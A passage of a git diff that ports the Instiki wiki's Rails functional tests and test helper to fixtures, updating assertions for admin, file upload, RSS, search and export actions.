= Web.find(@web.id) assert_equal 'renamed_wiki1', @web.address assert_equal 'Renamed Wiki1', @web.name assert_equal :markdown, @web.markup assert_equal 'blue', @web.color - assert @web.safe_mode + assert @web.safe_mode? assert_equal 'new_password', @web.password - assert @web.published - assert @web.brackets_only - assert @web.count_pages - assert @web.allow_uploads + assert @web.published? + assert @web.brackets_only? + assert @web.count_pages? + assert @web.allow_uploads? assert_equal 300, @web.max_upload_size end def test_edit_web_opposite_values - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') process('edit_web', 'system_password' => 'pswd', 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', @@ -140,11 +144,12 @@ class AdminControllerTest < Test::Unit::TestCase # and should become false assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert !@web.safe_mode - assert !@web.published - assert !@web.brackets_only - assert !@web.count_pages - assert !@web.allow_uploads + @web = Web.find(@web.id) + assert !@web.safe_mode? + assert !@web.published? + assert !@web.brackets_only? + assert !@web.count_pages? + assert !@web.allow_uploads? end def test_edit_web_wrong_password @@ -154,12 +159,12 @@ class AdminControllerTest < Test::Unit::TestCase 'password' => 'new_password') #returns to the same form - assert_success + assert_response :success assert @response.has_template_object?('error') end def test_edit_web_rename_to_already_existing_web_name - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') @wiki.create_web('Another', 'another') process('edit_web', 'system_password' => 'pswd', @@ -168,7 +173,7 @@ class AdminControllerTest < Test::Unit::TestCase 'password' => 'new_password') #returns to the same form - assert_success + assert_response :success assert @response.has_template_object?('error') end @@ -179,15 +184,15 @@ class AdminControllerTest < Test::Unit::TestCase 'password' => 'new_password') #returns to the same form - assert_success + assert_response :success assert @response.has_template_object?('error') end def test_remove_orphaned_pages - setup_wiki_with_three_pages - @wiki.system[:password] = 'pswd' - orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + @wiki.system.update_attribute(:password, 'pswd') + page_order = [@home, pages(:my_way), @oak, pages(:smart_engine), pages(:that_way)] + orphan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', "Refers to [[Oak]].\n" + "category: trees", Time.now, Author.new('TreeHugger', '127.0.0.2')) @@ -195,25 +200,28 @@ class AdminControllerTest < Test::Unit::TestCase r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list' - assert_equal [@home, @oak], @web.select.sort, + @web.pages(true) + assert_equal page_order, @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" # Oak is now orphan, second pass should remove it r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list' - assert_equal [@home], @web.select.sort, + @web.pages(true) + page_order.delete(@oak) + assert_equal page_order, @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" # third pass does not destroy HomePage r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, + @web.pages(true) + assert_equal page_order, @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" end def test_remove_orphaned_pages_empty_or_wrong_password - setup_wiki_with_three_pages @wiki.system[:password] = 'pswd' process('remove_orphaned_pages', 'web' => 'wiki1') @@ -224,5 +232,4 @@ class AdminControllerTest < Test::Unit::TestCase assert_redirected_to(:controller => 'admin', :action => 'edit_web', :web => 'wiki1') assert @response.flash[:error] end - end diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb index 3a33df74..c32f8b23 100755 --- a/test/functional/application_test.rb +++ b/test/functional/application_test.rb @@ -8,24 +8,23 @@ require 'rexml/document' class WikiController; def rescue_action(e) logger.error(e); raise e end; end class ApplicationTest < Test::Unit::TestCase - + fixtures :webs, :pages, :revisions, :system + def setup - setup_test_wiki - setup_controller_test(WikiController) + @controller = WikiController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @wiki = Wiki.new end - - def tear_down - tear_down_wiki - end - + def test_utf8_header - r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') - assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] + get :show, :web => 'wiki1', :id => 'HomePage' + assert_equal 'text/html; charset=UTF-8', @response.headers['Content-Type'] end def test_connect_to_model_unknown_wiki - r = process('show', 'web' => 'unknown_wiki', 'id' => 'HomePage') - assert_equal 404, r.response_code + get :show, :web => 'unknown_wiki', :id => 'HomePage' + assert_response :missing end end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 23f18c42..cea3aa81 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby -w +#!/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'file_controller' @@ -8,24 +8,26 @@ require 'fileutils' class FileController; def rescue_action(e) logger.error(e); raise e end; end class FileControllerTest < Test::Unit::TestCase + fixtures :webs, :pages, :revisions, :system - FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' + Wiki.storage_path += "test/" + FILE_AREA = Wiki.storage_path + 'wiki1' FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) FileUtils.rm(Dir["#{FILE_AREA}/*"]) def setup - setup_test_wiki - setup_controller_test - end - - def tear_down - tear_down_wiki + @controller = FileController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @wiki = Wiki.new + @web = webs(:test_wiki) + @home = @page = pages(:home_page) end def test_file process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' - assert_success + assert_response :success assert_rendered_file 'file/file' end @@ -34,7 +36,7 @@ class FileControllerTest < Test::Unit::TestCase r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' - assert_success + assert_response :success assert_equal "aaa\nbbb\n", r.binary_content assert_equal 'text/plain', r.headers['Content-Type'] end @@ -44,7 +46,7 @@ class FileControllerTest < Test::Unit::TestCase r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' - assert_success + assert_response :success assert_equal "aaa\nbbb\n", r.binary_content assert_equal 'application/pdf', r.headers['Content-Type'] end @@ -54,14 +56,14 @@ class FileControllerTest < Test::Unit::TestCase r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' - assert_success + assert_response :success assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size end def test_pic_unknown_pic r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' - assert_success + assert_response :success assert_rendered_file 'file/file' end @@ -74,7 +76,7 @@ class FileControllerTest < Test::Unit::TestCase # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' - assert_success + assert_response :success assert_rendered_file 'file/file' # User uploads the picture @@ -98,7 +100,7 @@ class FileControllerTest < Test::Unit::TestCase # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' - assert_success + assert_response :success assert_rendered_file 'file/file' # User uploads the picture @@ -109,17 +111,18 @@ class FileControllerTest < Test::Unit::TestCase assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) # this should refresh the page display content (cached) + @home = Page.find(@home.id) assert_equal "

      " + "instiki-e2e.txt

      ", @home.display_content end def test_uploads_blocking - @web.allow_uploads = true + set_web_property :allow_uploads, true r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_success + assert_response :success - @web.allow_uploads = false + set_web_property :allow_uploads, false r = process 'file', 'web' => 'wiki1', 'id' => 'filename' assert_equal '403 Forbidden', r.headers['Status'] end diff --git a/test/functional/routes_test.rb b/test/functional/routes_test.rb index 2e338bd0..c2334ef7 100644 --- a/test/functional/routes_test.rb +++ b/test/functional/routes_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby -w +#!/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index bc79a8bf..b799ad3b 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,10 +1,10 @@ -#!/bin/env ruby -w +#!/bin/env ruby # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN # $INSTIKI_TEST_PDFLATEX = true -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'wiki_controller' require 'rexml/document' require 'tempfile' @@ -14,63 +14,60 @@ require 'zip/zipfilesystem' class WikiController; def rescue_action(e) logger.error(e); raise e end; end class WikiControllerTest < Test::Unit::TestCase - + fixtures :webs, :pages, :revisions, :system + def setup - setup_test_wiki - setup_controller_test + @controller = WikiController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @wiki = Wiki.new + @web = webs(:test_wiki) + @home = @page = pages(:home_page) + @oak = pages(:oak) + @elephant = pages(:elephant) end - def tear_down - tear_down_wiki - end - - def test_authenticate - @web.password = 'pswd' + set_web_property :password, 'pswd' - r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') + get :authenticate, :web => 'wiki1', :password => 'pswd' assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['pswd'], r.cookies['web_address'] + assert_equal ['pswd'], @response.cookies['web_address'] end def test_authenticate_wrong_password - @web.password = 'pswd' + set_web_property :password, 'pswd' r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') assert_redirected_to :action => 'login', :web => 'wiki1' assert_nil r.cookies['web_address'] end - def test_authors - setup_wiki_with_three_pages @wiki.write_page('wiki1', 'BreakSortingOrder', "This page breaks the accidentally correct sorting order of authors", Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) r = process('authors', 'web' => 'wiki1') - assert_success - assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], + assert_response :success + assert_equal %w(AnAuthor BreakingTheOrder DavidHeinemeierHansson Guest Me TreeHugger), r.template_objects['authors'] end - def test_cancel_edit - setup_wiki_with_three_pages @oak.lock(Time.now, 'Locky') assert @oak.locked?(Time.now) r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') assert_redirected_to :action => 'show', :id => 'Oak' - assert !@oak.locked?(Time.now) + assert !Page.find(@oak.id).locked?(Time.now) end - def test_edit r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' - assert_success + assert_response :success assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] end @@ -83,7 +80,8 @@ class WikiControllerTest < Test::Unit::TestCase def test_edit_page_break_lock @home.lock(Time.now, 'Locky') process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' - assert_success + assert_response :success + @home = Page.find(@home.id) assert @home.locked?(Time.now) end @@ -99,19 +97,17 @@ class WikiControllerTest < Test::Unit::TestCase Time.now, Author.new('Special', '127.0.0.3')) r = process 'edit', 'web' => 'wiki1', 'id' => 'With : Special /> symbols' - assert_success + assert_response :success xml = REXML::Document.new(r.body) form = REXML::XPath.first(xml, '//form') assert_equal '/wiki1/save/With+%3A+Special+%2F%3E+symbols', form.attributes['action'] end - def test_export_html - setup_wiki_with_three_pages - + @home.rollback(1, Time.now, 'Rick') # much simpler regex statement to match r = process 'export_html', 'web' => 'wiki1' - assert_success + assert_response :success assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] @@ -124,7 +120,7 @@ class WikiControllerTest < Test::Unit::TestCase begin File.open(@tempfile_path, 'wb') { |f| f.write(content); @exported_file = f.path } Zip::ZipFile.open(@exported_file) do |zip| - assert_equal %w(Elephant.html HomePage.html Oak.html index.html), zip.dir.entries('.').sort + assert_equal %w(Elephant.html FirstPage.html HomePage.html MyWay.html NoWikiWord.html Oak.html SmartEngine.html ThatWay.html index.html), zip.dir.entries('.').sort assert_match /.*/, zip.file.read('Elephant.html').gsub(/\s+/, ' ') assert_match /.*/, @@ -138,12 +134,10 @@ class WikiControllerTest < Test::Unit::TestCase end end - def test_export_html_no_layout - setup_wiki_with_three_pages - + def test_export_html_no_layout r = process 'export_html', 'web' => 'wiki1', 'layout' => 'no' - assert_success + assert_response :success assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] @@ -155,7 +149,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_export_markup r = process 'export_markup', 'web' => 'wiki1' - assert_success + assert_response :success assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] @@ -168,7 +162,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_export_pdf r = process 'export_pdf', 'web' => 'wiki1' - assert_success + assert_response :success assert_equal 'application/pdf', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, r.headers['Content-Disposition'] @@ -183,13 +177,10 @@ class WikiControllerTest < Test::Unit::TestCase puts ' $INSTIKI_TEST_PDFLATEX to enable them.' end - - def test_export_tex - setup_wiki_with_three_pages - + def test_export_tex r = process 'export_tex', 'web' => 'wiki1' - assert_success + assert_response :success assert_equal 'application/octet-stream', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, r.headers['Content-Disposition'] @@ -202,6 +193,8 @@ class WikiControllerTest < Test::Unit::TestCase end def test_index + # delete extra web fixture + webs(:instiki).destroy process('index') assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' end @@ -219,41 +212,39 @@ class WikiControllerTest < Test::Unit::TestCase end def test_index_wiki_not_initialized - ApplicationController.wiki = WikiServiceWithNoPersistence.new + use_blank_wiki process('index') assert_redirected_to :controller => 'admin', :action => 'create_system' end def test_list - setup_wiki_with_three_pages - r = process('list', 'web' => 'wiki1') assert_equal ['animals', 'trees'], r.template_objects['categories'] assert_nil r.template_objects['category'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] + assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, pages(:smart_engine), pages(:that_way)], r.template_objects['pages_in_category'] end def test_locked @home.lock(Time.now, 'Locky') r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success + assert_response :success assert_equal @home, r.template_objects['page'] end def test_login r = process 'login', 'web' => 'wiki1' - assert_success + assert_response :success # this action goes straight to the templates end def test_new r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') - assert_success + assert_response :success assert_equal 'AnonymousCoward', r.template_objects['author'] assert_equal 'NewPage', r.template_objects['page_name'] end @@ -264,7 +255,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_pdf assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success + assert_response :success content = r.binary_content @@ -282,23 +273,23 @@ class WikiControllerTest < Test::Unit::TestCase def test_print r = process('print', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success + assert_response :success assert_equal :show, r.template_objects['link_mode'] end def test_published - @web.published = true + set_web_property :published, true r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success + assert_response :success assert_equal @home, r.template_objects['page'] end def test_published_web_not_published - @web.published = false + set_web_property :published, false r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') @@ -308,11 +299,11 @@ class WikiControllerTest < Test::Unit::TestCase def test_recently_revised r = process('recently_revised', 'web' => 'wiki1') - assert_success + assert_response :success - assert_equal [], r.template_objects['categories'] + assert_equal %w(animals trees), r.template_objects['categories'] assert_nil r.template_objects['category'] - assert_equal [@home], r.template_objects['pages_in_category'] + assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, pages(:smart_engine), pages(:that_way)], r.template_objects['pages_in_category'] assert_equal 'the web', r.template_objects['set_name'] end @@ -323,37 +314,33 @@ class WikiControllerTest < Test::Unit::TestCase Time.now, Author.new('AnotherAuthor', '127.0.0.2')) r = process('recently_revised', 'web' => 'wiki1') - assert_success + assert_response :success - assert_equal ['categorized'], r.template_objects['categories'] + assert_equal %w(animals categorized trees), r.template_objects['categories'] # no category is specified in params assert_nil r.template_objects['category'] - assert_equal [@home, page2], r.template_objects['pages_in_category'], + assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, page2, pages(:smart_engine), pages(:that_way)], r.template_objects['pages_in_category'], "Pages are not as expected: " + r.template_objects['pages_in_category'].map {|p| p.name}.inspect assert_equal 'the web', r.template_objects['set_name'] end def test_recently_revised_with_categorized_page_multiple_categories - setup_wiki_with_three_pages - r = process('recently_revised', 'web' => 'wiki1') - assert_success + assert_response :success assert_equal ['animals', 'trees'], r.template_objects['categories'] # no category is specified in params assert_nil r.template_objects['category'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], + assert_equal [@elephant, pages(:first_page), @home, pages(:my_way), pages(:no_wiki_word), @oak, pages(:smart_engine), pages(:that_way)], r.template_objects['pages_in_category'], "Pages are not as expected: " + r.template_objects['pages_in_category'].map {|p| p.name}.inspect assert_equal 'the web', r.template_objects['set_name'] end def test_recently_revised_with_specified_category - setup_wiki_with_three_pages - r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') - assert_success + assert_response :success assert_equal ['animals', 'trees'], r.template_objects['categories'] # no category is specified in params @@ -366,7 +353,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_revision r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - assert_success + assert_response :success assert_equal @home, r.template_objects['page'] assert_equal @home.revisions[0], r.template_objects['revision'] end @@ -377,27 +364,24 @@ class WikiControllerTest < Test::Unit::TestCase # its assigns the same as or revision r = process 'rollback', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - assert_success + assert_response :success assert_equal @home, r.template_objects['page'] assert_equal @home.revisions[0], r.template_objects['revision'] end def test_rss_with_content - setup_wiki_with_three_pages - r = process 'rss_with_content', 'web' => 'wiki1' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant], pages, + assert_equal [@elephant, @oak, pages(:no_wiki_word), pages(:that_way), pages(:smart_engine), pages(:my_way), pages(:first_page), @home], pages, "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" assert !r.template_objects['hide_description'] end def test_rss_with_content_when_blocked - setup_wiki_with_three_pages - @web.password = 'aaa' - @web.published = false + @web.update_attributes(:password => 'aaa', :published => false) + @web = Web.find(@web.id) r = process 'rss_with_content', 'web' => 'wiki1' @@ -406,7 +390,6 @@ class WikiControllerTest < Test::Unit::TestCase def test_rss_with_headlines - setup_wiki_with_three_pages @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) @@ -415,19 +398,24 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'rss_with_headlines', 'web' => 'wiki1' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, - "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert_equal [@elephant, @title_with_spaces, @oak, pages(:no_wiki_word), pages(:that_way), pages(:smart_engine), pages(:my_way), pages(:first_page), @home], pages, "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" assert r.template_objects['hide_description'] xml = REXML::Document.new(r.body) expected_page_links = - ['http://localhost:8080/wiki1/show/HomePage', + ['http://localhost:8080/wiki1/show/Elephant', + 'http://localhost:8080/wiki1/show/Title+With+Spaces', 'http://localhost:8080/wiki1/show/Oak', - 'http://localhost:8080/wiki1/show/Elephant', - 'http://localhost:8080/wiki1/show/Title+With+Spaces'] + 'http://localhost:8080/wiki1/show/NoWikiWord', + 'http://localhost:8080/wiki1/show/ThatWay', + 'http://localhost:8080/wiki1/show/SmartEngine', + 'http://localhost:8080/wiki1/show/MyWay', + 'http://localhost:8080/wiki1/show/FirstPage', + 'http://localhost:8080/wiki1/show/HomePage', + ] assert_template_xpath_match '/rss/channel/link', 'http://localhost:8080/wiki1/show/HomePage' @@ -436,22 +424,26 @@ class WikiControllerTest < Test::Unit::TestCase end def test_rss_switch_links_to_published - setup_wiki_with_three_pages - @web.password = 'aaa' - @web.published = true + @web.update_attributes(:password => 'aaa', :published => true) + @web = Web.find(@web.id) @request.host = 'foo.bar.info' @request.port = 80 r = process 'rss_with_headlines', 'web' => 'wiki1' - assert_success + assert_response :success xml = REXML::Document.new(r.body) expected_page_links = - ['http://foo.bar.info/wiki1/published/HomePage', + ['http://foo.bar.info/wiki1/published/Elephant', 'http://foo.bar.info/wiki1/published/Oak', - 'http://foo.bar.info/wiki1/published/Elephant'] + 'http://foo.bar.info/wiki1/published/NoWikiWord', + 'http://foo.bar.info/wiki1/published/ThatWay', + 'http://foo.bar.info/wiki1/published/SmartEngine', + 'http://foo.bar.info/wiki1/published/MyWay', + 'http://foo.bar.info/wiki1/published/FirstPage', + 'http://foo.bar.info/wiki1/published/HomePage'] assert_template_xpath_match '/rss/channel/link', 'http://foo.bar.info/wiki1/published/HomePage' @@ -463,45 +455,43 @@ class WikiControllerTest < Test::Unit::TestCase setup_wiki_with_30_pages r = process 'rss_with_headlines', 'web' => 'wiki1' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] assert_equal 15, pages.size, 15 r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '5' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] assert_equal 5, pages.size r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '25' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] assert_equal 25, pages.size r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => 'all' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] - assert_equal 31, pages.size + assert_equal 38, pages.size r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-16' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] - assert_equal 16, pages.size + assert_equal 23, pages.size r = process 'rss_with_headlines', 'web' => 'wiki1', 'end' => '1976-10-16' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] assert_equal 15, pages.size r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-01', 'end' => '1976-10-06' - assert_success + assert_response :success pages = r.template_objects['pages_by_revision'] assert_equal 5, pages.size end def test_rss_title_with_ampersand - # was ticket:143 - setup_wiki_with_three_pages - + # was ticket:143 @wiki.write_page('wiki1', 'Title&With&Ampersands', 'About spaces', 1.hour.ago, Author.new('NitPicker', '127.0.0.3')) @@ -511,15 +501,12 @@ class WikiControllerTest < Test::Unit::TestCase assert r.body.include?('Title&With&Ampersands') end - def test_rss_timestamp - setup_wiki_with_three_pages - + def test_rss_timestamp new_page = @wiki.write_page('wiki1', 'PageCreatedAtTheBeginningOfCtime', 'Created on 1 Jan 1970 at 0:00:00 Z', Time.at(0), Author.new('NitPicker', '127.0.0.3')) r = process 'rss_with_headlines', 'web' => 'wiki1' - - assert_template_xpath_match '/rss/channel/item/pubDate[4]', "Thu, 01 Jan 1970 00:00:00 Z" + assert_template_xpath_match '/rss/channel/item/pubDate[9]', "Thu, 01 Jan 1970 00:00:00 Z" end def test_save @@ -535,6 +522,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_save_new_revision_of_existing_page @home.lock(Time.now, 'Batman') + current_revisions = @home.revisions.size r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', 'author' => 'Batman' @@ -542,8 +530,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' assert_equal ['Batman'], r.cookies['author'].value home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size + assert_equal current_revisions+1, home_page.revisions.size assert_equal 'Revised HomePage', home_page.content assert_equal 'Batman', home_page.author assert !home_page.locked?(Time.now) @@ -563,57 +550,47 @@ class WikiControllerTest < Test::Unit::TestCase revisions_after = @home.revisions.size assert_equal revisions_before, revisions_after + @home = Page.find(@home.id) assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' end def test_search - setup_wiki_with_three_pages - r = process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' assert_redirected_to :action => 'show', :id => 'Oak' end def test_search_multiple_results - setup_wiki_with_three_pages - r = process 'search', 'web' => 'wiki1', 'query' => 'All about' - assert_success + assert_response :success assert_equal 'All about', r.template_objects['query'] assert_equal [@elephant, @oak], r.template_objects['results'] assert_equal [], r.template_objects['title_results'] end def test_search_by_content_and_title - setup_wiki_with_three_pages - r = process 'search', 'web' => 'wiki1', 'query' => '(Oak|Elephant)' - assert_success + assert_response :success assert_equal '(Oak|Elephant)', r.template_objects['query'] assert_equal [@elephant, @oak], r.template_objects['results'] assert_equal [@elephant, @oak], r.template_objects['title_results'] end def test_search_zero_results - setup_wiki_with_three_pages - r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' - assert_success + assert_response :success assert_equal [], r.template_objects['results'] assert_equal [], r.template_objects['title_results'] end - - - def test_show_page - r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - assert_success - assert_match /First revision of the end/, r.body + r = process('show', 'id' => 'Oak', 'web' => 'wiki1') + assert_response :success + assert_tag :content => /All about oak/ end def test_show_page_with_multiple_revisions @@ -622,7 +599,7 @@ class WikiControllerTest < Test::Unit::TestCase r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - assert_success + assert_response :success assert_match /Second revision of the end/, r.body end @@ -633,24 +610,25 @@ class WikiControllerTest < Test::Unit::TestCase def test_show_no_page r = process('show', 'id' => '', 'web' => 'wiki1') - assert_equal 404, r.response_code + assert_response :missing r = process('show', 'web' => 'wiki1') - assert_equal 404, r.response_code + assert_response :missing end def test_tex r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success + assert_response :success assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + - "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + - "the HomePage end\n\n\\end{document}", r.body + "--------------------------------------\n\n\\section*{HomePage}\n\nHisWay would be " + + "MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that " + + "SmartEngineGUI\n\n\\end{document}", r.body end @@ -659,8 +637,8 @@ class WikiControllerTest < Test::Unit::TestCase r = process('web_list') - assert_success - assert_equal [another_wiki, @web], r.template_objects['webs'] + assert_response :success + assert_equal [another_wiki, webs(:instiki), @web], r.template_objects['webs'] end end diff --git a/test/test_helper.rb b/test/test_helper.rb index 19219ce7..0b29f757 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -10,17 +10,97 @@ require 'active_record/fixtures' require 'action_controller/test_process' require 'action_web_service/test_invoke' require 'breakpoint' +require 'wiki_content' +# Uncomment these and hang on, because the tests will be FAST +#Test::Unit::TestCase.pre_loaded_fixtures = false +#Test::Unit::TestCase.use_transactional_fixtures = true + +Test::Unit::TestCase.use_instantiated_fixtures = false Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" class Test::Unit::TestCase - # Turn these on to use transactional fixtures with table_name(:fixture_name) instantiation of fixtures - # self.use_transactional_fixtures = true - # self.use_instantiated_fixtures = false - def create_fixtures(*table_names) Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures", table_names) end # Add more helper methods to be used by all tests here... -end \ No newline at end of file + def set_web_property(property, value) + @web.update_attribute(property, value) + @page = Page.find(@page.id) + @wiki.webs[@web.name] = @web + end + + def setup_wiki_with_30_pages + ActiveRecord::Base.silence do + (1..30).each do |i| + @wiki.write_page('wiki1', "page#{i}", "Test page #{i}\ncategory: test", + Time.local(1976, 10, i, 12, 00, 00), Author.new('Dema', '127.0.0.2')) + end + end + @web = Web.find(@web.id) + end + + def use_blank_wiki + Revision.destroy_all + Page.destroy_all + Web.destroy_all + end +end + +# This module is to be included in unit tests that involve matching chunks. +# It provides a easy way to test whether a chunk matches a particular string +# and any the values of any fields that should be set after a match. +class ContentStub < String + include ChunkManager + def initialize(str) + super + init_chunk_manager + end + def page_link(*); end +end + +module ChunkMatch + + # Asserts a number of tests for the given type and text. + def match(chunk_type, test_text, expected_chunk_state) + if chunk_type.respond_to? :pattern + assert_match(chunk_type.pattern, test_text) + end + + content = ContentStub.new(test_text) + chunk_type.apply_to(content) + + # Test if requested parts are correct. + expected_chunk_state.each_pair do |a_method, expected_value| + assert content.chunks.last.kind_of?(chunk_type) + assert_respond_to(content.chunks.last, a_method) + assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), + "Wrong #{a_method} value") + end + end + + # Asserts that test_text doesn't match the chunk_type + def no_match(chunk_type, test_text) + if 